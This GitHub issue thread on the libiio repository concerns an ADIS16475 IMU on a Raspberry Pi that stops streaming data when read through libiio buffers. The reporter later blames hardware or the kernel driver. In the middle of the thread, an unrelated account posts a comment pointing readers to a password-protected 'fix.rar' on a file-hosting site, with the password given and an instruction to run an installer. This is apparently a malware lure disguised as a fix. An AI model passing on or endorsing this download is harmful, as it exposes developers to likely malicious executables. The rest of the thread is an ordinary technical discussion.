analogdevicesinc / libiio

A cross platform library for interfacing with local and remote Linux IIO devices
http://analogdevicesinc.github.io/libiio/
GNU Lesser General Public License v2.1
488 stars 316 forks source link

Device stops streaming data after a while and becomes unresponsive (only when using buffers) #1193

Closed willat343 closed 2 months ago

willat343 commented 2 months ago

Hi, I'm hoping you can help me with a puzzling issue.

I am trying to stream data from an Adis16475 IMU (internal clock mode) using libiio and the kernel driver (with an up to date kernel version), on a raspberry pi. Currently i have v0.23 installed since this is the default with ubutnu 20.04 but i could install 0.25 from source if this will help.

To summarise, my application does the following:

  1. Creates a context.
  2. Finds the device.
  3. Enables the 8 channels i want (3 gyro, 3 accel, 1 temp, 1 timestamp)
  4. Does some checks (reads product id, factory resets the device, performs a sensor self test, checks the diagnostic register) all with sensible delays afterwards.
  5. Reads the scale and offset values for the channels that have them.
  6. Sets the samping rate (a device attribute) to a rate valid for the device (E.g. 200 or 400 Hz).
  7. Finds and assigns the trigger (which is adis16475-2-dev0 in my case)
  8. Sets up a signal handler, so that i can interrupt my program for a clean shutdown.
  9. Creates a buffer in blocking mode.
  10. In a loop, i check the diagnostic register to ensure the IMU is healthy, then i refill the buffer, then read the data. I have tried both iio_buffer_foreach_sample() and also reading the data iteratively with iio_buffer_start/step/end() functions.
  11. After the program is interrupted, i shutdown with iio_buffer_destroy() and iio_context_destroy()

Both of the buffered reading methods work for a while (longest 30 seconds, shortest a fraction of a second). The data I read looks correct, until suddenly all the data is 0, except the timestamp. Furthermore I can no longer interact with the device (e.g. read/write registers, and the data at /sys/bus/iio/devices/iio:device0 is all 0). The only recovery is toggling the GPIO reset pin, or rebooting the RPI.

I am able to read from the device indefinitely if i read the raw attributes (e.g. at 400 Hz) either with libiio's iio_channel_attr_read_*() functions, or by setting up the buffer with some echo commands at /sys/bus/iio/devices/iio:device0 and listening to /dev/iio:device0. This is not a solution since I don't get correct timestamping this way.

Do you have any idea what could be causing this?

MinecraftEarthVillage commented 2 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."

willat343 commented 2 months ago

While this issue hasn't been resolved, it does not occur when running at the maximum IMU rate of 2kHz, so likely an issue with the hardware, RPI setup, device tree, or a but in the kernel driver, but not libiio